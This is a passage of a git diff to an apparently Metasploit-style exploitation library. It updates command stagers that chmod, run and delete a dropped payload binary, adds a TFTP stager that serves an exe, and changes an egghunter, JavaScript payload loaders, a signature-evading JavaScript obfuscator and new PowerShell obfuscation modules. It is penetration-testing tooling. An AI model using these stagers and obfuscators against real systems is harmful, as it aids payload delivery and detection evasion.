= 0x00000200 + SERVICE_ACCEPT_TRIGGEREVENT = 0x00000400 + SC_MANAGER_CONNECT = 0x0001 + SC_MANAGER_CREATE_SERVICE = 0x0002 + SC_MANAGER_ENUMERATE_SERVICE = 0x0004 + SC_MANAGER_LOCK = 0x0008 + SC_MANAGER_QUERY_LOCK_STATUS = 0x0010 + SC_MANAGER_MODIFY_BOOT_CONFIG = 0x0020 + + SC_MANAGER_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | + SC_MANAGER_CONNECT | + SC_MANAGER_CREATE_SERVICE | + SC_MANAGER_ENUMERATE_SERVICE | + SC_MANAGER_LOCK | + SC_MANAGER_QUERY_LOCK_STATUS | + SC_MANAGER_MODIFY_BOOT_CONFIG) + + SERVICE_QUERY_CONFIG = 0x0001 + SERVICE_CHANGE_CONFIG = 0x0002 + SERVICE_QUERY_STATUS = 0x0004 + SERVICE_ENUMERATE_DEPENDENTS = 0x0008 + SERVICE_START = 0x0010 + SERVICE_STOP = 0x0020 + SERVICE_PAUSE_CONTINUE = 0x0040 + SERVICE_INTERROGATE = 0x0080 + SERVICE_USER_DEFINED_CONTROL = 0x0100 + SERVICE_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | \ + SERVICE_QUERY_CONFIG | \ + SERVICE_CHANGE_CONFIG | \ + SERVICE_QUERY_STATUS | \ + SERVICE_ENUMERATE_DEPENDENTS | \ + SERVICE_START | \ + SERVICE_STOP | \ + SERVICE_PAUSE_CONTINUE | \ + SERVICE_INTERROGATE | \ + SERVICE_USER_DEFINED_CONTROL) + + SERVICE_RUNS_IN_SYSTEM_PROCESS = 0x00000001 + SERVICE_CONFIG_DESCRIPTION = 1 + SERVICE_CONFIG_FAILURE_ACTIONS = 2 + SERVICE_CONFIG_DELAYED_AUTO_START_INFO = 3 + SERVICE_CONFIG_FAILURE_ACTIONS_FLAG = 4 + SERVICE_CONFIG_SERVICE_SID_INFO = 5 + SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO = 6 + SERVICE_CONFIG_PRESHUTDOWN_INFO = 7 + SERVICE_CONFIG_TRIGGER_INFO = 8 + SERVICE_CONFIG_PREFERRED_NODE = 9 + SERVICE_CONFIG_LAUNCH_PROTECTED = 12 + +end +end diff --git a/lib/rex/elfparsey/elf.rb b/lib/rex/elfparsey/elf.rb index 51c7fcc5f7..4652c27f0b 100644 --- a/lib/rex/elfparsey/elf.rb +++ b/lib/rex/elfparsey/elf.rb @@ -34,7 +34,7 @@ class Elf < ElfBase isource.read(offset, PROGRAM_HEADER_SIZE), ei_data ) - if program_header[-1].p_type == PT_LOAD && base_addr == 0 + if program_header[-1].p_type == PT_LOAD && program_header[-1].p_flags & PF_EXEC > 0 base_addr = program_header[-1].p_vaddr end diff --git a/lib/rex/elfparsey/elfbase.rb b/lib/rex/elfparsey/elfbase.rb index 3652333bb1..e950bdb69d 100644 --- a/lib/rex/elfparsey/elfbase.rb +++ b/lib/rex/elfparsey/elfbase.rb @@ -214,6 +214,15 @@ class ElfBase [ 'uint32n', 'p_align', 0 ] ) + # p_flags This member tells which permissions should have the segment + + # Flags + + PF_EXEC = 1 + PF_WRITE = 2 + PF_READ = 4 + + # # p_type This member tells what kind of segment this array element # describes or how to interpret the array element's information. diff --git a/lib/rex/encoder/bloxor/bloxor.rb b/lib/rex/encoder/bloxor/bloxor.rb index 26c801d665..c16db29338 100644 --- a/lib/rex/encoder/bloxor/bloxor.rb +++ b/lib/rex/encoder/bloxor/bloxor.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/poly/machine' diff --git a/lib/rex/encoder/ndr.rb b/lib/rex/encoder/ndr.rb index b1bfb2c5da..7ccd7d75d1 100644 --- a/lib/rex/encoder/ndr.rb +++ b/lib/rex/encoder/ndr.rb @@ -28,7 +28,7 @@ module NDR # use to encode: # byte element_1; def NDR.byte(string) - return [string].pack('c') + return [string].pack('C') end # Encode a byte array diff --git a/lib/rex/encoder/nonalpha.rb b/lib/rex/encoder/nonalpha.rb index c90aea6d4c..77d350e207 100644 --- a/lib/rex/encoder/nonalpha.rb +++ b/lib/rex/encoder/nonalpha.rb @@ -7,7 +7,7 @@ module Encoder class NonAlpha - def NonAlpha.gen_decoder() + def NonAlpha.gen_decoder decoder = "\x66\xB9\xFF\xFF" + "\xEB\x19" + # Jmp to table @@ -28,13 +28,13 @@ class NonAlpha end def NonAlpha.encode_byte(block, table, tablelen) - if (tablelen > 255) or (block == 0x7B) + if tablelen > 255 || block == 0x7B raise RuntimeError, "BadChar" end - if (block >= 0x41 and block <= 0x5A) or (block >= 0x61 and block <= 0x7A) + if (block >= 0x41 && block <= 0x5A) || (block >= 0x61 && block <= 0x7A) # gen offset, return magic - offset = 0x7b - block; + offset = 0x7b - block table += offset.chr tablelen = tablelen + 1 block = 0x7B diff --git a/lib/rex/encoder/xdr.rb b/lib/rex/encoder/xdr.rb index 510b2536e7..5c0815693f 100644 --- a/lib/rex/encoder/xdr.rb +++ b/lib/rex/encoder/xdr.rb @@ -16,8 +16,9 @@ module XDR end def XDR.decode_int!(data) - return data.slice!(0..3).unpack('N')[0] if data - data = 0 + raise ArgumentError, 'XDR: No Integer data to decode' unless data + raise ArgumentError, "XDR: Too little data to decode (#{data.size})" if data.size < 4 + return data.slice!(0..3).unpack('N')[0] end def XDR.encode_lchar(char) diff --git a/lib/rex/exceptions.rb b/lib/rex/exceptions.rb index 15edd0ae61..73b085f5ee 100644 --- a/lib/rex/exceptions.rb +++ b/lib/rex/exceptions.rb @@ -213,25 +213,57 @@ class ConnectionTimeout < ConnectionError end end +### +# +# This connection error is raised when an attempt is made to connect +# to a broadcast or network address. +# +### +class InvalidDestination < ConnectionError + include SocketError + include HostCommunicationError + + def to_s + "The destination is invalid: #{addr_to_s}." + end +end ### # # This exception is raised when an attempt to use an address or port that is -# already in use occurs, such as binding to a host on a given port that is -# already in use. Note that Windows raises this in some cases when attempting -# to connect to addresses that it can't handle, e.g. "0.0.0.0". Thus, this is -# a ConnectionError. +# already in use or onot available occurs. such as binding to a host on a +# given port that is already in use, or when a bind address is specified that +# is not available to the host. # ### +class BindFailed < ::ArgumentError + include SocketError + include HostCommunicationError + + def to_s + "The address is already in use or unavailable: #{addr_to_s}." + end +end + +## +# +# This exception is listed for backwards compatibility. We had been +# using AddressInUse as the exception for both bind errors and connection +# errors triggered by connection attempts to broadcast and network addresses. +# The two classes above have split this into their respective sources, but +# callers may still expect the old behavior. +# +## class AddressInUse < ConnectionError include SocketError include HostCommunicationError def to_s - "The address is already in use #{addr_to_s}." + "The address is already in use or unavailable: #{addr_to_s}." end end + ### # # This exception is raised when an unsupported internet protocol is specified. diff --git a/lib/rex/exploitation/cmdstager/base.rb b/lib/rex/exploitation/cmdstager/base.rb index 713be53a3f..0e966113ad 100644 --- a/lib/rex/exploitation/cmdstager/base.rb +++ b/lib/rex/exploitation/cmdstager/base.rb @@ -127,11 +127,12 @@ class CmdStagerBase def compress_commands(cmds, opts) new_cmds = [] line = '' - concat = cmd_concat_operator + + concat = opts[:concat_operator] || cmd_concat_operator # We cannot compress commands if there is no way to combine commands on # a single line. - return cmds if not concat + return cmds unless concat cmds.each { |cmd| @@ -171,6 +172,19 @@ class CmdStagerBase nil end + # Should be overriden if the cmd stager needs to setup anything + # before it's executed + def setup(mod = nil) + + end + + # + # Should be overriden if the cmd stager needs to do any clenaup + # + def teardown(mod = nil) + + end + end end end diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb index b3095dac38..0e8d4b9446 100644 --- a/lib/rex/exploitation/cmdstager/bourne.rb +++ b/lib/rex/exploitation/cmdstager/bourne.rb @@ -85,7 +85,15 @@ class CmdStagerBourne < CmdStagerBase def compress_commands(cmds, opts) # Make it all happen cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin" - cmds << "#{@tempdir}#{@var_decoded}.bin" + # Background the process, allowing the cleanup code to continue and delete the data + # while allowing the original shell to continue to function since it isn't waiting + # on the payload to exit. The 'sleep' is required as '&' is a command terminator + # and having & and the cmds delimiter ';' next to each other is invalid. + if opts[:background] + cmds << "#{@tempdir}#{@var_decoded}.bin & sleep 2" + else + cmds << "#{@tempdir}#{@var_decoded}.bin" + end # Clean up after unless requested not to.. if (not opts[:nodelete]) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index bf1670783f..0891a4b625 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -103,7 +103,8 @@ class CmdStagerEcho < CmdStagerBase def generate_cmds_decoder(opts) cmds = [] # Make it all happen - cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "chmod 777 #{@tempdir}#{@var_elf}" + #cmds << "chmod +x #{@tempdir}#{@var_elf}" cmds << "#{@tempdir}#{@var_elf}" # Clean up after unless requested not to.. diff --git a/lib/rex/exploitation/cmdstager/tftp.rb b/lib/rex/exploitation/cmdstager/tftp.rb index 60240d638e..c5baadd466 100644 --- a/lib/rex/exploitation/cmdstager/tftp.rb +++ b/lib/rex/exploitation/cmdstager/tftp.rb @@ -27,10 +27,19 @@ class CmdStagerTFTP < CmdStagerBase def initialize(exe) super - @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe" end + def setup(mod) + self.tftp = Rex::Proto::TFTP::Server.new + self.tftp.register_file(Rex::Text.rand_text_alphanumeric(8), exe) + self.tftp.start + mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo + end + + def teardown(mod = nil) + self.tftp.stop + end # # We override compress commands just to stick in a few extra commands @@ -54,8 +63,9 @@ class CmdStagerTFTP < CmdStagerBase # NOTE: We don't use a concatenation operator here since we only have a couple commands. # There really isn't any need to combine them. Also, the ms01_026 exploit depends on # the start command being issued separately so that it can ignore it :) - + attr_reader :exe attr_reader :payload_exe + attr_accessor :tftp end end end diff --git a/lib/rex/exploitation/egghunter.rb b/lib/rex/exploitation/egghunter.rb index 3155db3662..079250b6bd 100644 --- a/lib/rex/exploitation/egghunter.rb +++ b/lib/rex/exploitation/egghunter.rb @@ -65,12 +65,10 @@ class Egghunter flippage = "\n\tor dx,0xfff" edxdirection = "\n\tinc edx" - if searchforward - if searchforward.to_s.downcase == 'false' - # go backwards - flippage = "\n\txor dl,dl" - edxdirection = "\n\tdec edx" - end + if searchforward.to_s.downcase == 'false' + # go backwards + flippage = "\n\txor dl,dl" + edxdirection = "\n\tdec edx" end # other vars diff --git a/lib/rex/exploitation/heaplib.rb b/lib/rex/exploitation/heaplib.rb index 4e84cd5deb..c1d1a222a4 100644 --- a/lib/rex/exploitation/heaplib.rb +++ b/lib/rex/exploitation/heaplib.rb @@ -88,8 +88,10 @@ protected if opts[:newobfu] # Obfuscate the javascript using the new lexer method - @js = JSObfu.new(@js) - return @js.obfuscate + js_obfu = JSObfu.new(@js) + js_obfu.obfuscate + @js = js_obfu.to_s + return @js elsif opts[:noobfu] # Do not obfuscate, let the exploit do the work (useful to avoid double obfuscation) return @js diff --git a/lib/rex/exploitation/js/detect.rb b/lib/rex/exploitation/js/detect.rb index c7c9f40bcd..04df435fa4 100644 --- a/lib/rex/exploitation/js/detect.rb +++ b/lib/rex/exploitation/js/detect.rb @@ -15,10 +15,12 @@ class Detect # Provides several javascript functions for determining the OS and browser versions of a client. # # getVersion(): returns an object with the following properties - # os_name - OS name, one of the Msf::OperatingSystems constants - # os_flavor - OS flavor as a string (e.g.: "XP", "2000") + # os_name - OS name such as "Windows 8", "Linux", "Mac OS X" + # os_flavor - OS flavor as a string such as "Home", "Enterprise", etc # os_sp - OS service pack (e.g.: "SP2", will be empty on non-Windows) # os_lang - OS language (e.g.: "en-us") + # os_vendor - A company or organization name such as Microsoft, Ubuntu, Apple, etc + # os_device - A specific piece of hardware such as iPad, iPhone, etc # ua_name - Client name, one of the Msf::HttpClients constants # ua_version - Client version as a string (e.g.: "3.5.1", "6.0;SP2") # arch - Architecture, one of the ARCH_* constants diff --git a/lib/rex/exploitation/js/memory.rb b/lib/rex/exploitation/js/memory.rb index bbbebd8cf0..f8fb22c77e 100644 --- a/lib/rex/exploitation/js/memory.rb +++ b/lib/rex/exploitation/js/memory.rb @@ -58,6 +58,23 @@ class Memory }).obfuscate end + def self.explib2 + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "lib", "explib2.js")) + + ::Rex::Exploitation::ObfuscateJS.obfuscate(js) + end + + def self.explib2_payload(payload="exec") + case payload + when "drop_exec" + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "drop_exec.js")) + else # "exec" + js = ::File.read(::File.join(Msf::Config.data_directory, "js", "memory", "explib2", "payload", "exec.js")) + end + + ::Rex::Exploitation::ObfuscateJS.obfuscate(js) + end + end end end diff --git a/lib/rex/exploitation/js/network.rb b/lib/rex/exploitation/js/network.rb index cb22211a1e..7869efbc4f 100644 --- a/lib/rex/exploitation/js/network.rb +++ b/lib/rex/exploitation/js/network.rb @@ -37,8 +37,8 @@ class Network # @option opts [Boolean] :obfuscate toggles js obfuscation. defaults to true. # @option opts [Boolean] :inject_xhr_shim automatically stubs XHR to use ActiveXObject when needed. # defaults to true. - # @return [String] javascript code to perform a synchronous ajax request to the remote with - # the data specified + # @return [String] javascript code to perform a synchronous or asynchronous ajax request to + # the remote with the data specified. def self.ajax_post(opts={}) should_obfuscate = opts.fetch(:obfuscate, true) js = ::File.read(::File.join(Msf::Config.data_directory, "js", "network", "ajax_post.js")) @@ -47,7 +47,7 @@ class Network js = ::Rex::Exploitation::ObfuscateJS.new(js, { 'Symbols' => { - 'Variables' => %w{ xmlHttp } + 'Variables' => %w{ xmlHttp cb path data } } }).obfuscate end diff --git a/lib/rex/exploitation/jsobfu.rb b/lib/rex/exploitation/jsobfu.rb index 4b84d16b53..0e7e3ae892 100644 --- a/lib/rex/exploitation/jsobfu.rb +++ b/lib/rex/exploitation/jsobfu.rb @@ -1,513 +1,17 @@ # -*- coding: binary -*- -require 'rex/text' -require 'rex/random_identifier_generator' -require 'rkelly' +require 'jsobfu' module Rex module Exploitation - # -# Obfuscate JavaScript by randomizing as much as possible and removing -# easily-signaturable string constants. +# Simple wrapper class that makes the JSObfu functionality +# from the gem available under the Rex namespace. # -# Example: -# js = ::Rex::Exploitation::JSObfu.new %Q| -# var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039"; -# var b = { foo : "foo", bar : "bar" } -# alert(a); -# alert(b.foo); -# | -# js.obfuscate -# puts js -# Example Output: -# var VwxvESbCgv = String.fromCharCode(0x30,0x31,062,063,064,53,0x36,067,070,0x39); -# var ToWZPn = { -# "\146\157\x6f": (function () { var yDyv="o",YnCL="o",Qcsa="f"; return Qcsa+YnCL+yDyv })(), -# "\142ar": String.fromCharCode(0142,97,0162) -# }; -# alert(VwxvESbCgv); -# alert(ToWZPn.foo); -# -# NOTE: Variables MUST be declared with a 'var' statement BEFORE first use (or -# not at all) for this to generate correct code! If variables are not declared -# they will not be randomized but the generated code will be correct. -# -# Bad Example Javascript: -# a = "asdf"; // this variable hasn't been declared and will not be randomized -# var a; -# alert(a); // real js engines will alert "asdf" here -# Bad Example Obfuscated: -# a = (function () { var hpHu="f",oyTm="asd"; return oyTm+hpHu })(); -# var zSrnHpEfJZtg; -# alert(zSrnHpEfJZtg); -# Notice that the first usage of +a+ (before it was declared) is not -# randomized. Thus, the obfuscated version will alert 'undefined' instead of -# "asdf". -# -class JSObfu - - # these keywords should never be used as a random var name - # source: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Reserved_Words - RESERVED_KEYWORDS = %w( - break case catch continue debugger default delete do else finally - for function if in instanceof new return switch this throw try - typeof var void while with class enum export extends import super - implements interface let package private protected public static yield - ) - - # - # Abstract Syntax Tree generated by RKelly::Parser#parse - # - attr_reader :ast - - # - # Saves +code+ for later obfuscation with #obfuscate - # - def initialize(code) - @code = code - @funcs = {} - @vars = {} - @debug = false - @rand_gen = Rex::RandomIdentifierGenerator.new( - :max_length => 15, - :first_char_set => Rex::Text::Alpha+"_$", - :char_set => Rex::Text::AlphaNumeric+"_$" - ) - end - - # - # Add +str+ to the un-obfuscated code. - # - # Calling this method after #obfuscate is undefined - # - def <<(str) - @code << str - end - - # - # Return the (possibly obfuscated) code as a string. - # - # If #obfuscate has not been called before this, returns the parsed, - # unobfuscated code. This can be useful for example to remove comments and - # standardize spacing. - # - def to_s - parse if not @ast - @ast.to_ecma - end - - # - # Return the obfuscated name of a symbol - # - # You MUST call #obfuscate before this method! - # - def sym(lookup) - if @vars[lookup] - ret = @vars[lookup] - elsif @funcs[lookup] - ret = @funcs[lookup] - else - ret = lookup - end - ret - end - - # - # Parse and obfuscate - # - def obfuscate - parse - obfuscate_r(@ast) - end - - # @return [String] a unique random var name that is not a reserved keyword - def random_var_name - loop do - text = random_string - unless @vars.has_value?(text) or RESERVED_KEYWORDS.include?(text) - return text - end - end - end - -protected - - # @return [String] a random string - def random_string - @rand_gen.generate - end - - # - # Recursive method to obfuscate the given +ast+. - # - # +ast+ should be the result of RKelly::Parser#parse - # - def obfuscate_r(ast) - ast.each do |node| - #if node.respond_to? :value and node.value.kind_of? String and node.value =~ /bodyOnLoad/i - # $stdout.puts("bodyOnLoad: #{node.class}: #{node.value}") - #end - - case node - when nil - nil - - when ::RKelly::Nodes::SourceElementsNode - # Recurse - obfuscate_r(node.value) - - #when ::RKelly::Nodes::ObjectLiteralNode - # TODO - #$stdout.puts(node.methods - Object.new.methods) - #$stdout.puts(node.value.inspect) - - when ::RKelly::Nodes::PropertyNode - # Property names must be bare words or string literals NOT - # expressions! Can't use transform_string() here - if node.name =~ /^[a-zA-Z_][a-zA-Z0-9_]*$/ - n = '"' - node.name.unpack("C*") { |c| - case rand(3) - when 0; n << "\\x%02x"%(c) - when 1; n << "\\#{c.to_s 8}" - when 2; n << [c].pack("C") - end - } - n << '"' - node.name = n - end - - # Variables - when ::RKelly::Nodes::VarDeclNode - if @vars[node.name].nil? - @vars[node.name] = random_var_name - end - node.name = @vars[node.name] - when ::RKelly::Nodes::ParameterNode - if @vars[node.value].nil? - @vars[node.value] = random_var_name - end - node.value = @vars[node.value] - when ::RKelly::Nodes::ResolveNode - #$stdout.puts("Resolve bodyOnload: #{@vars[node.value]}") if "bodyOnLoad" == node.value - node.value = @vars[node.value] if @vars[node.value] - when ::RKelly::Nodes::DotAccessorNode - case node.value - when ::RKelly::Nodes::ResolveNode - if @vars[node.value.value] - node.value.value = @vars[node.value.value] - end - #else - # $stderr.puts("Non-resolve node as target of dotaccessor: #{node.value.class}") - end - - # Functions - when ::RKelly::Nodes::FunctionDeclNode - #$stdout.puts("FunctionDecl: #{node.value}") - # Functions can also act as objects, so store them in the vars - # and the functions list so we can replace them in both places - if @funcs[node.value].nil? and not @funcs.values.include?(node.value) - @funcs[node.value] = random_var_name - if @vars[node.value].nil? - @vars[node.value] = @funcs[node.value] - end - node.value = @funcs[node.value] - end - when ::RKelly::Nodes::FunctionCallNode - # The value of a FunctionCallNode is some sort of accessor node or a ResolveNode - # so this is basically useless - #$stdout.puts("Function call: #{node.name} => #{@funcs[node.name]}") - #node.value = @funcs[node.value] if @funcs[node.value] - - # Transformers - when ::RKelly::Nodes::NumberNode - node.value = transform_number(node.value) - when ::RKelly::Nodes::StringNode - node.value = transform_string(node.value) - else - #$stderr.puts "#{node.class}: #{node.value}" - #$stderr.puts "#{node.class}" - end - - #unless node.kind_of? ::RKelly::Nodes::SourceElementsNode - # $stderr.puts "#{node.class}: #{node.value}" - #end - end - - nil - end - - # - # Generate an Abstract Syntax Tree (#ast) for later obfuscation - # - def parse - parser = RKelly::Parser.new - @ast = parser.parse(@code) - end - - # - # Convert a number to a random base (decimal, octal, or hexedecimal). - # - # Given 10 as input, the possible return values are: - # "10" - # "0xa" - # "012" - # - def rand_base(num) - case rand(3) - when 0; num.to_s - when 1; "0%o" % num - when 2; "0x%x" % num - end - end - - # - # Return a mathematical expression that will evaluate to the given number - # +num+. - # - # +num+ can be a float or an int, but should never be negative. - # - def transform_number(num) - case num - when Fixnum - if num == 0 - r = rand(10) + 1 - transformed = "('#{Rex::Text.rand_text_alpha(r)}'.length - #{r})" - elsif num > 0 and num < 10 - # use a random string.length for small numbers - transformed = "'#{Rex::Text.rand_text_alpha(num)}'.length" - else - transformed = "(" - divisor = rand(num) + 1 - a = num / divisor.to_i - b = num - (a * divisor) - # recurse half the time for a - a = (rand(2) == 0) ? transform_number(a) : rand_base(a) - # recurse half the time for divisor - divisor = (rand(2) == 0) ? transform_number(divisor) : rand_base(divisor) - transformed << "#{a}*#{divisor}" - transformed << "+#{b}" - transformed << ")" - end - when Float - transformed = "(#{num - num.floor} + #{rand_base(num.floor)})" - end - - #puts("#{num} == #{transformed}") - - transformed - end - - # - # Convert a javascript string into something that will generate that string. - # - # Randomly calls one of the +transform_string_*+ methods - # - def transform_string(str) - quote = str[0,1] - # pull off the quotes - str = str[1,str.length - 2] - return quote*2 if str.length == 0 - - case rand(2) - when 0 - transformed = transform_string_split_concat(str, quote) - when 1 - transformed = transform_string_fromCharCode(str) - #when 2 - # # Currently no-op - # transformed = transform_string_unescape(str) - end - - #$stderr.puts "Obfuscating str: #{str.ljust 30} #{transformed}" - transformed - end - - # - # Split a javascript string, +str+, without breaking escape sequences. - # - # The maximum length of each piece of the string is half the total length - # of the string, ensuring we (almost) always split into at least two - # pieces. This won't always be true when given a string like "AA\x41", - # where escape sequences artificially increase the total length (escape - # sequences are considered a single character). - # - # Returns an array of two-element arrays. The zeroeth element is a - # randomly generated variable name, the first is a piece of the string - # contained in +quote+s. - # - # See #escape_length - # - def safe_split(str, quote) - parts = [] - max_len = str.length / 2 - while str.length > 0 - len = 0 - loop do - e_len = escape_length(str[len..-1]) - e_len = 1 if e_len.nil? - len += e_len - # if we've reached the end of the string, bail - break unless str[len] - break if len > max_len - # randomize the length of each part - break if (rand(4) == 0) - end - - part = str.slice!(0, len) - - var = Rex::Text.rand_text_alpha(4) - parts.push( [ var, "#{quote}#{part}#{quote}" ] ) - end - - parts - end - - # - # Stolen from obfuscatejs.rb - # - # Determines the length of an escape sequence - # - def escape_length(str) - esc_len = nil - if str[0,1] == "\\" - case str[1,1] - when "u"; esc_len = 6 # unicode \u1234 - when "x"; esc_len = 4 # hex, \x41 - when /[0-7]/ # octal, \123, \0 - str[1,3] =~ /([0-7]{1,3})/ - if $1.to_i(8) > 255 - str[1,3] =~ /([0-7]{1,2})/ - end - esc_len = 1 + $1.length - else; esc_len = 2 # \" \n, etc. - end - end - esc_len - end - - # - # Split a javascript string, +str+, into multiple randomly-ordered parts - # and return an anonymous javascript function that joins them in the - # correct order. This method can be called safely on strings containing - # escape sequences. See #safe_split. - # - def transform_string_split_concat(str, quote) - parts = safe_split(str, quote) - func = "(function () { var " - ret = "; return " - parts.sort { |a,b| rand }.each do |part| - func << "#{part[0]}=#{part[1]}," - end - func.chop! - - ret << parts.map{|part| part[0]}.join("+") - final = func + ret + " })()" - - final - end - - - # TODO - #def transform_string_unescape(str) - # str - #end - - # - # Return a call to String.fromCharCode() with each char of the input as arguments - # - # Example: - # input : "A\n" - # output: String.fromCharCode(0x41, 10) - # - def transform_string_fromCharCode(str) - buf = "String.fromCharCode(" - bytes = str.unpack("C*") - len = 0 - while str.length > 0 - if str[0,1] == "\\" - str.slice!(0,1) - # then this is an escape sequence and we need to deal with all - # the special cases - case str[0,1] - # For chars that contain their non-escaped selves, step past - # the backslash and let the rand_base() below decide how to - # represent the character. - when '"', "'", "\\", " " - char = str.slice!(0,1).unpack("C").first - # For symbolic escapes, use the known value - when "n"; char = 0x0a; str.slice!(0,1) - when "t"; char = 0x09; str.slice!(0,1) - # Lastly, if it's a hex, unicode, or octal escape, pull out the - # real value and use that - when "x" - # Strip the x - str.slice!(0,1) - char = str.slice!(0,2).to_i 16 - when "u" - # This can potentially lose information in the case of - # characters like \u0041, but since regular ascii is stored - # as unicode internally, String.fromCharCode(0x41) will be - # represented as 00 41 in memory anyway, so it shouldn't - # matter. - str.slice!(0,1) - char = str.slice!(0,4).to_i 16 - when /[0-7]/ - # Octals are a bit harder since they are variable width and - # don't necessarily mean what you might think. For example, - # "\61" == "1" and "\610" == "10". 610 is a valid octal - # number, but not a valid ascii character. Javascript will - # interpreter as much as it can as a char and use the rest - # as a literal. Boo. - str =~ /([0-7]{1,3})/ - char = $1.to_i 8 - if char > 255 - str =~ /([0-7]{1,2})/ - char = $1.to_i 8 - end - str.slice!(0,$1.length) - end - else - char = str.slice!(0,1).unpack("C").first - end - buf << "#{rand_base(char)}," - end - # Strip off the last comma - buf = buf[0,buf.length-1] + ")" - transformed = buf - - transformed - end - - -end -end -end - - -=begin -if __FILE__ == $0 - if ARGV[0] - code = File.read(ARGV[0]) - else - #require 'rex/exploitation/javascriptosdetect' - #code = Rex::Exploitation::JavascriptOSDetect.new.to_s - code = <<-EOS - // Should alert "0123456789" - var a = "0\\612\\063\\x34\\x35\\x36\\x37\\x38\\u0039"; - var a,b=2,c=3; - alert(a); - // should alert "asdfjkl;" - var d = (function() { var foo = "jkl;", blah = "asdf"; return blah + foo; })(); - alert(d); - EOS - end - js = Rex::Exploitation::JSObfu.new(code) - js.obfuscate - puts js.to_s +class JSObfu < ::JSObfu end -=end +end +end diff --git a/lib/rex/exploitation/powershell.rb b/lib/rex/exploitation/powershell.rb new file mode 100644 index 0000000000..bfc42e9001 --- /dev/null +++ b/lib/rex/exploitation/powershell.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +require 'rex/exploitation/powershell/output' +require 'rex/exploitation/powershell/parser' +require 'rex/exploitation/powershell/obfu' +require 'rex/exploitation/powershell/param' +require 'rex/exploitation/powershell/function' +require 'rex/exploitation/powershell/script' +require 'rex/exploitation/powershell/psh_methods' + +module Rex + module Exploitation + module Powershell + # + # Reads script into a PowershellScript + # + # @param script_path [String] Path to the Script File + # + # @return [Script] Powershell Script object + def self.read_script(script_path) + Rex::Exploitation::Powershell::Script.new(script_path) + end + + # + # Insert substitutions into the powershell script + # If script is a path to a file then read the file + # otherwise treat it as the contents of a file + # + # @param script [String] Script file or path to script + # @param subs [Array] Substitutions to insert + # + # @return [String] Modified script file + def self.make_subs(script, subs) + if ::File.file?(script) + script = ::File.read(script) + end + + subs.each do |set| + script.gsub!(set[0], set[1]) + end + + script + end + + # + # Return an array of substitutions for use in make_subs + # + # @param subs [String] A ; seperated list of substitutions + # + # @return [Array] An array of substitutions + def self.process_subs(subs) + return [] if subs.nil? or subs.empty? + new_subs = [] + subs.split(';').each do |set| + new_subs << set.split(',', 2) + end + + new_subs + end + end + end +end diff --git a/lib/rex/exploitation/powershell/function.rb b/lib/rex/exploitation/powershell/function.rb new file mode 100644 index 0000000000..1792be96a6 --- /dev/null +++ b/lib/rex/exploitation/powershell/function.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +module Rex +module Exploitation +module Powershell + class Function + FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i) + PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im) + attr_accessor :code, :name, :params + + include Output + include Parser + include Obfu + + def initialize(name, code) + @name = name + @code = code + populate_params + end + + # + # To String + # + # @return [String] Powershell function + def to_s + "function #{name} #{code}" + end + + # + # Identify the parameters from the code and + # store as Param in @params + # + def populate_params + @params = [] + start = code.index(PARAMETER_REGEX) + return unless start + # Get start of our block + idx = scan_with_index('(', code[start..-1]).first.last + start + pclause = block_extract(idx) + + matches = pclause.scan(FUNCTION_REGEX) + + # Ignore assignment, create params with class and variable names + matches.each do |param| + klass = nil + name = nil + param.each do |value| + if value + if klass + name = value + @params << Param.new(klass, name) + break + else + klass = value + end + end + end + end + end + end +end +end +end diff --git a/lib/rex/exploitation/powershell/obfu.rb b/lib/rex/exploitation/powershell/obfu.rb new file mode 100644 index 0000000000..c459a3bfa7 --- /dev/null +++ b/lib/rex/exploitation/powershell/obfu.rb @@ -0,0 +1,98 @@ +# -*- coding: binary -*- + +require 'rex/text' + +module Rex +module Exploitation +module Powershell + module Obfu + MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m) + SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i) + WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/) + UNIX_EOL_REGEX = Regexp.new(/[\n]+/) + WHITESPACE_REGEX = Regexp.new(/\s+/) + EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/) + + # + # Remove comments + # + # @return [String] code without comments + def strip_comments + # Multi line + code.gsub!(MULTI_LINE_COMMENTS_REGEX, '') + # Single line + code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '') + + code + end + + # + # Remove empty lines + # + # @return [String] code without empty lines + def strip_empty_lines + # Windows EOL + code.gsub!(WINDOWS_EOL_REGEX, "\r\n") + # UNIX EOL + code.gsub!(UNIX_EOL_REGEX, "\n") + + code + end + + # + # Remove whitespace + # This can break some codes using inline .NET + # + # @return [String] code with whitespace stripped + def strip_whitespace + code.gsub!(WHITESPACE_REGEX, ' ') + + code + end + + # + # Identify variables and replace them + # + # @return [String] code with variable names replaced with unique values + def sub_vars + # Get list of variables, remove reserved + get_var_names.each do |var, _sub| + code.gsub!(var, "$#{@rig.init_var(var)}") + end + + code + end + + # + # Identify function names and replace them + # + # @return [String] code with function names replaced with unique + # values + def sub_funcs + # Find out function names, make map + get_func_names.each do |var, _sub| + code.gsub!(var, 